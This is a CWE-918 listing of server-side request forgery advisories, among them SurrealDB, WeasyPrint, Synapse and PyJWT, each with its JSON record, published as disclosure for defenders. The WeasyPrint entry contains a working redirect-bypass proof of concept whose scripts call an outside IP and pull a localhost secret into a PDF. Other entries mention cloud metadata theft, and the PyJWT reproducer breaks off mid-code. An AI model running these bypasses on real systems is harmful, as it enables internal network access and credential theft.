Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4862 vulnerabilities reference this CWE, most recent first.

GHSA-97VG-427P-8HX5

Vulnerability from github – Published: 2026-07-01 20:20 – Updated: 2026-07-01 20:20
VLAI
Summary
SurrealDB: Port-specific --deny-net rules silently bypassed on HTTP redirect
Details

SurrealDB offers http::* functions that can access external network endpoints, with the --allow-net and --deny-net capabilities used to restrict the set of network targets that can be reached. An authenticated user of SurrealDB can bypass a port-scoped --deny-net <host>:<port> rule by chaining an HTTP redirect: the initial request goes to an --allow-net-permitted hostname, the response's 3xx Location header points at the denied host:port, and the redirect is followed even though the destination was explicitly denied.

The root cause is in the redirect policy applied to outbound HTTP requests (surrealdb/core/src/fnc/util/http/mod.rs): the NetTarget for the redirect destination is built from url.host_str() alone and url.port() is dropped. The capability matcher (surrealdb/core/src/dbs/capabilities.rs:259-264) refuses to match a port-bearing rule against a port-stripped target (Self::Host(host, Some(port)) => match tgt { _ => false }), so the operator's port-scoped deny rule silently does not fire on the redirect target.

Impact

The impact of this vulnerability is circumvention of the --deny-net capability when the operator has scoped deny rules by port, and the resulting impact on systems external to SurrealDB. The ultimate impact is dependent on the deployment scenario.

For example, if a SurrealDB operator uses --deny-net <host>:<port> to block specific internal services (such as a local Redis at 192.168.1.1:6379 or an unauthenticated cloud metadata service) while leaving the rest of the host reachable, an authenticated principal that can call http::* and host an attacker-controlled redirect target can reach the blocked service and act on whatever interface it exposes.

Bounded to:

  • Principals already permitted to call http::*.
  • Capability configurations that scope deny rules by port. Host-only rules (--deny-net <host>) are not affected because the host-only rule arm of the matcher accepts port-stripped targets.

Patches

The redirect policy now constructs the NetTarget for the redirect URL with url.port() included, so port-specific deny rules apply to redirect targets identically to initial requests.

A new integration regression test (function_http_redirect_to_denied_port_blocked) uses two wiremock servers to verify the redirect target is blocked and the denied server receives no requests.

Versions 3.1.0 and later are not affected.

Workarounds

  • Replace port-specific deny rules with host-only deny rules where feasible (--deny-net 192.168.1.1 instead of --deny-net 192.168.1.1:6379). Host-only rules match port-stripped targets, at the cost of denying every port on that host.
  • Disable http::* for untrusted principals (--deny-funcs 'http::*') where the functions are not required.
  • Terminate outbound HTTP requests at a reverse proxy that enforces port-specific access controls.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "surrealdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T20:20:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "SurrealDB offers `http::*` functions that can access external network endpoints, with the `--allow-net` and `--deny-net` capabilities used to restrict the set of network targets that can be reached. An authenticated user of SurrealDB can bypass a port-scoped `--deny-net \u003chost\u003e:\u003cport\u003e` rule by chaining an HTTP redirect: the initial request goes to an `--allow-net`-permitted hostname, the response\u0027s `3xx Location` header points at the denied `host:port`, and the redirect is followed even though the destination was explicitly denied.\n\nThe root cause is in the redirect policy applied to outbound HTTP requests (`surrealdb/core/src/fnc/util/http/mod.rs`): the `NetTarget` for the redirect destination is built from `url.host_str()` alone and `url.port()` is dropped. The capability matcher (`surrealdb/core/src/dbs/capabilities.rs:259-264`) refuses to match a port-bearing rule against a port-stripped target (`Self::Host(host, Some(port)) =\u003e match tgt { _ =\u003e false }`), so the operator\u0027s port-scoped deny rule silently does not fire on the redirect target.\n\n### Impact\n\nThe impact of this vulnerability is circumvention of the `--deny-net` capability when the operator has scoped deny rules by port, and the resulting impact on systems external to SurrealDB. The ultimate impact is dependent on the deployment scenario.\n\nFor example, if a SurrealDB operator uses `--deny-net \u003chost\u003e:\u003cport\u003e` to block specific internal services (such as a local Redis at `192.168.1.1:6379` or an unauthenticated cloud metadata service) while leaving the rest of the host reachable, an authenticated principal that can call `http::*` and host an attacker-controlled redirect target can reach the blocked service and act on whatever interface it exposes.\n\nBounded to:\n\n- Principals already permitted to call `http::*`.\n- Capability configurations that scope deny rules by port. Host-only rules (`--deny-net \u003chost\u003e`) are not affected because the host-only rule arm of the matcher accepts port-stripped targets.\n\n### Patches\n\nThe redirect policy now constructs the `NetTarget` for the redirect URL with `url.port()` included, so port-specific deny rules apply to redirect targets identically to initial requests.\n\nA new integration regression test (`function_http_redirect_to_denied_port_blocked`) uses two wiremock servers to verify the redirect target is blocked and the denied server receives no requests.\n\nVersions 3.1.0 and later are not affected.\n\n### Workarounds\n\n- Replace port-specific deny rules with host-only deny rules where feasible (`--deny-net 192.168.1.1` instead of `--deny-net 192.168.1.1:6379`). Host-only rules match port-stripped targets, at the cost of denying every port on that host.\n- Disable `http::*` for untrusted principals (`--deny-funcs \u0027http::*\u0027`) where the functions are not required.\n- Terminate outbound HTTP requests at a reverse proxy that enforces port-specific access controls.",
  "id": "GHSA-97vg-427p-8hx5",
  "modified": "2026-07-01T20:20:40Z",
  "published": "2026-07-01T20:20:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-97vg-427p-8hx5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/commit/https://github.com/surrealdb/surrealdb/commit/ceb1ca3a1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/surrealdb/surrealdb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SurrealDB: Port-specific --deny-net rules silently bypassed on HTTP redirect"
}

GHSA-97WG-4GJ3-G8CW

Vulnerability from github – Published: 2025-02-18 03:31 – Updated: 2025-02-18 03:31
VLAI
Details

The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to Limited Server-Side Request Forgery in all versions up to, and including, 5.9.4.2 via the pm_upload_image function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to download and view images, as well as validating if a non-image file exists, both on local or remote hosts.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-13741"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-18T02:15:13Z",
    "severity": "MODERATE"
  },
  "details": "The ProfileGrid \u2013 User Profiles, Groups and Communities plugin for WordPress is vulnerable to Limited Server-Side Request Forgery in all versions up to, and including, 5.9.4.2 via the pm_upload_image function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to download and view images, as well as validating if a non-image file exists, both on local or remote hosts.",
  "id": "GHSA-97wg-4gj3-g8cw",
  "modified": "2025-02-18T03:31:05Z",
  "published": "2025-02-18T03:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13741"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/profilegrid-user-profiles-groups-and-communities/tags/5.9.4.2/public/class-profile-magic-public.php#L1717"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/profilegrid-user-profiles-groups-and-communities/tags/5.9.4.2/public/partials/crop.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/95d2a05d-67ae-45b1-8add-0dcf73d43181?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9832-MGG4-3GR6

Vulnerability from github – Published: 2023-09-06 15:30 – Updated: 2023-09-07 13:59
VLAI
Summary
Apache Superset has improper default REST API permission for Gamma users
Details

An improper default REST API permission for Gamma users in Apache Superset up to and including 2.1.0 allows for an authenticated Gamma user to test database connections.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-superset"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-36387"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-281",
      "CWE-863",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-07T13:59:27Z",
    "nvd_published_at": "2023-09-06T13:15:08Z",
    "severity": "MODERATE"
  },
  "details": "An improper default REST API permission for Gamma users in Apache Superset up to and including 2.1.0 allows for an authenticated Gamma user to test database connections.\n",
  "id": "GHSA-9832-mgg4-3gr6",
  "modified": "2023-09-07T13:59:27Z",
  "published": "2023-09-06T15:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36387"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/superset/pull/24185"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/superset"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/tt6s6hm8nv6s11z8bfsk3r3d9ov0ogw3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Superset has improper default REST API permission for Gamma users"
}

GHSA-983W-RHVV-GWMV

Vulnerability from github – Published: 2026-01-20 16:29 – Updated: 2026-07-02 20:22
VLAI
Summary
WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect
Details

Summary

A Server-Side Request Forgery (SSRF) Protection Bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy.

Details

The default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.

While WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python's standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer's validation logic for the new target URL.

This behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer's allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).

PoC

To reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., localhost).

1. victim.py (Internal Service - Port 5000) Simulates a sensitive internal service running on localhost.

from flask import Flask
app = Flask(__name__)

@app.route('/secret')
def secret():
    return "CRITICAL_INTERNAL_DATA"

if __name__ == '__main__':
    # Listens on localhost:5000
    app.run(port=5000)

2. attacker.py (External Redirector - Port 1337) Simulates an external server. It accepts a request and redirects it to the blocked hostname (localhost).

from flask import Flask, redirect
app = Flask(__name__)

@app.route('/image.png')
def malicious():
    # The vulnerability: Redirects to the BLOCKED hostname
    return redirect("http://localhost:5000/secret", code=302)

if __name__ == '__main__':
    app.run(port=1337)

3. exploit.py (Vulnerable Implementation) Simulates the application with a security filter intended to block access to "localhost".

from weasyprint import HTML, default_url_fetcher
import logging

# Security Filter: Intended to block internal hostnames
def secure_fetcher(url):
    # Simulates a blacklist for 'localhost'
    if "localhost" in url:
        raise PermissionError(f"Security Block: Access to {url} denied.")

    print(f"[ALLOWED] Initial URL check passed for: {url}")
    return default_url_fetcher(url)

# EXPLOIT LOGIC:
# 1. We access the attacker via '127.0.0.1' (or an external IP). 
#    The string "127.0.0.1" passes the check because it is not "localhost".
# 2. The attacker redirects to "http://localhost:5000/...".
# 3. urllib follows the redirect to 'localhost' without re-triggering secure_fetcher.

try:
    # Use 127.0.0.1 to bypass the string check for 'localhost'
    html_content = '<link rel="attachment" href="http://54.234.88.160:1337/image.png">'

    doc = HTML(string=html_content, url_fetcher=secure_fetcher)
    doc.write_pdf("exploit.pdf")

    print("Exploit successful. The 'localhost' block was bypassed via redirect.")
    print("Check exploit.pdf for 'CRITICAL_INTERNAL_DATA'.")
except Exception as e:
    print(f"Exploit failed: {e}")

4. Attacker read attachment in PDF

➜ pdfdetach -list resultado_exploit.pdf
1 embedded files
1: secret
➜ pdfdetach -saveall resultado_exploit.pdf
➜ cat secret
CRITICAL_INTERNAL_DATA

Evidence image

Impact

This vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.

  • Internal Network Reconnaissance: Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.
  • Cloud Metadata Exfiltration: In cloud environments, attackers can redirect requests to metadata services (e.g., http://169.254.169.254) to steal instance credentials and escalate privileges.
  • Security Control Bypass: It renders the url_fetcher security validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "weasyprint"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "68.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-20T16:29:53Z",
    "nvd_published_at": "2026-01-19T16:15:53Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA **Server-Side Request Forgery (SSRF) Protection Bypass** exists in WeasyPrint\u0027s `default_url_fetcher`. The vulnerability allows attackers to access internal network resources (such as `localhost` services or cloud metadata endpoints) even when a developer has implemented a custom `url_fetcher` to block such access. This occurs because the underlying `urllib` library follows HTTP redirects automatically without re-validating the new destination against the developer\u0027s security policy.\n\n### Details\n\nThe default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.\n\nWhile WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python\u0027s standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer\u0027s validation logic for the new target URL.\n\nThis behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer\u0027s allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).\n\n### PoC\n\nTo reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., `localhost`).\n\n**1. victim.py (Internal Service - Port 5000)**\nSimulates a sensitive internal service running on localhost.\n\n```python\nfrom flask import Flask\napp = Flask(__name__)\n\n@app.route(\u0027/secret\u0027)\ndef secret():\n    return \"CRITICAL_INTERNAL_DATA\"\n\nif __name__ == \u0027__main__\u0027:\n    # Listens on localhost:5000\n    app.run(port=5000)\n```\n\n**2. attacker.py (External Redirector - Port 1337)**\nSimulates an external server. It accepts a request and redirects it to the blocked hostname (`localhost`).\n\n```python\nfrom flask import Flask, redirect\napp = Flask(__name__)\n\n@app.route(\u0027/image.png\u0027)\ndef malicious():\n    # The vulnerability: Redirects to the BLOCKED hostname\n    return redirect(\"http://localhost:5000/secret\", code=302)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(port=1337)\n```\n\n**3. exploit.py (Vulnerable Implementation)**\nSimulates the application with a security filter intended to block access to \"localhost\".\n\n```python\nfrom weasyprint import HTML, default_url_fetcher\nimport logging\n\n# Security Filter: Intended to block internal hostnames\ndef secure_fetcher(url):\n    # Simulates a blacklist for \u0027localhost\u0027\n    if \"localhost\" in url:\n        raise PermissionError(f\"Security Block: Access to {url} denied.\")\n    \n    print(f\"[ALLOWED] Initial URL check passed for: {url}\")\n    return default_url_fetcher(url)\n\n# EXPLOIT LOGIC:\n# 1. We access the attacker via \u0027127.0.0.1\u0027 (or an external IP). \n#    The string \"127.0.0.1\" passes the check because it is not \"localhost\".\n# 2. The attacker redirects to \"http://localhost:5000/...\".\n# 3. urllib follows the redirect to \u0027localhost\u0027 without re-triggering secure_fetcher.\n\ntry:\n    # Use 127.0.0.1 to bypass the string check for \u0027localhost\u0027\n    html_content = \u0027\u003clink rel=\"attachment\" href=\"http://54.234.88.160:1337/image.png\"\u003e\u0027\n    \n    doc = HTML(string=html_content, url_fetcher=secure_fetcher)\n    doc.write_pdf(\"exploit.pdf\")\n    \n    print(\"Exploit successful. The \u0027localhost\u0027 block was bypassed via redirect.\")\n    print(\"Check exploit.pdf for \u0027CRITICAL_INTERNAL_DATA\u0027.\")\nexcept Exception as e:\n    print(f\"Exploit failed: {e}\")\n```\n**4. Attacker read attachment in PDF**\n```\n\u279c pdfdetach -list resultado_exploit.pdf\n1 embedded files\n1: secret\n\u279c pdfdetach -saveall resultado_exploit.pdf\n\u279c cat secret\nCRITICAL_INTERNAL_DATA\n```\n**Evidence**\n\u003cimg width=\"1514\" height=\"436\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f7881694-be4d-4c63-8bca-2b220e4c87f9\" /\u003e\n\n### Impact\n\nThis vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.\n\n  * **Internal Network Reconnaissance:** Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.\n  * **Cloud Metadata Exfiltration:** In cloud environments, attackers can redirect requests to metadata services (e.g., `http://169.254.169.254`) to steal instance credentials and escalate privileges.\n  * **Security Control Bypass:** It renders the `url_fetcher` security validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.",
  "id": "GHSA-983w-rhvv-gwmv",
  "modified": "2026-07-02T20:22:23Z",
  "published": "2026-01-20T16:29:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-983w-rhvv-gwmv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68616"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/WeasyPrint/commit/b6a14f0f3f4ce9c0c75c1a2d73cb1c5d43f0e565"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-68616"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430858"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Kozea/WeasyPrint"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-68616.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect"
}

GHSA-988G-78QR-2CPM

Vulnerability from github – Published: 2026-05-17 03:30 – Updated: 2026-05-17 03:30
VLAI
Details

A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-8725"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-17T02:16:45Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-988g-78qr-2cpm",
  "modified": "2026-05-17T03:30:25Z",
  "published": "2026-05-17T03:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8725"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juruo123/public_exp/issues/5"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/807753"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/364316"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/364316/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-98PX-6486-J7QC

Vulnerability from github – Published: 2023-06-06 16:41 – Updated: 2024-09-30 20:34
VLAI
Summary
Synapse has URL deny list bypass via oEmbed and image URLs when generating previews
Details

Impact

A discovered oEmbed or image URL can bypass the url_preview_url_blacklist setting potentially allowing server side request forgery or bypassing network policies. Impact is limited to IP addresses allowed by the url_preview_ip_range_blacklist setting (by default this only allows public IPs) and by the limited information returned to the client:

  • For discovered oEmbed URLs, any non-JSON response or a JSON response which includes non-oEmbed information is discarded.
  • For discovered image URLs, any non-image response is discarded.

Systems which have URL preview disabled (via the url_preview_enabled setting) or have not configured a url_preview_url_blacklist are not affected.

Because of the uncommon configuration required, the limited information a malicious user, and the amount of guesses/time the attack would need; the severity is rated as low.

Patches

The issue is fixed by #15601.

Workarounds

The default configuration of the url_preview_ip_range_blacklist should protect against requests being made to internal infrastructure, URL previews of public URLs is expected.

Alternately URL previews could be disabled using the url_preview_enabled setting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "matrix-synapse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.85.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-32683"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-06T16:41:34Z",
    "nvd_published_at": "2023-06-06T19:15:11Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nA discovered oEmbed or image URL can bypass the `url_preview_url_blacklist` setting potentially allowing server side request forgery or bypassing network policies. Impact is limited to IP addresses allowed by the `url_preview_ip_range_blacklist` setting (by default this only allows public IPs) and by the limited information returned to the client:\n\n* For discovered oEmbed URLs, any non-JSON response or a JSON response which includes non-oEmbed information is discarded.\n* For discovered image URLs, any non-image response is discarded.\n\nSystems which have URL preview disabled (via the `url_preview_enabled` setting) or have not configured a `url_preview_url_blacklist` are not affected.\n\nBecause of the uncommon configuration required, the limited information a malicious user, and the amount of guesses/time the attack would need; the severity is rated as low.\n\n### Patches\n\nThe issue is fixed by #15601.\n\n### Workarounds\n\nThe default configuration of the `url_preview_ip_range_blacklist` should protect against requests being made to internal infrastructure, URL previews of public URLs is expected.\n\nAlternately URL previews could be disabled using the `url_preview_enabled` setting.",
  "id": "GHSA-98px-6486-j7qc",
  "modified": "2024-09-30T20:34:41Z",
  "published": "2023-06-06T16:41:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/synapse/security/advisories/GHSA-98px-6486-j7qc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/synapse/pull/15601"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/matrix-org/synapse"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/synapse/releases/tag/v1.85.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/matrix-synapse/PYSEC-2023-85.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X6DH5A5YEB5LRIPP32OUW25FCGZFCZU2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Synapse has URL deny list bypass via oEmbed and image URLs when generating previews"
}

GHSA-98VP-FCQ9-GMJ3

Vulnerability from github – Published: 2025-05-14 18:30 – Updated: 2025-05-14 21:31
VLAI
Details

A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. By using an encoded URL, a remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-40595"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-14T17:15:48Z",
    "severity": "HIGH"
  },
  "details": "A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. By using an encoded URL, a remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.",
  "id": "GHSA-98vp-fcq9-gmj3",
  "modified": "2025-05-14T21:31:17Z",
  "published": "2025-05-14T18:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40595"
    },
    {
      "type": "WEB",
      "url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0010"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-98XV-5XRC-6PMQ

Vulnerability from github – Published: 2026-07-27 15:32 – Updated: 2026-07-27 15:32
VLAI
Details

Contributor Server Side Request Forgery (SSRF) in Feedzy <= 5.2.4 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-66437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-27T15:17:11Z",
    "severity": "MODERATE"
  },
  "details": "Contributor Server Side Request Forgery (SSRF) in Feedzy \u003c= 5.2.4 versions.",
  "id": "GHSA-98xv-5xrc-6pmq",
  "modified": "2026-07-27T15:32:33Z",
  "published": "2026-07-27T15:32:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66437"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/feedzy-rss-feeds/vulnerability/wordpress-feedzy-plugin-5-2-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-993G-76C3-P5M4

Vulnerability from github – Published: 2026-06-15 19:28 – Updated: 2026-07-31 22:13
VLAI
Summary
PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes
Details

[!NOTE] The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

  1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load.
  2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
  3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.

Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)

import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
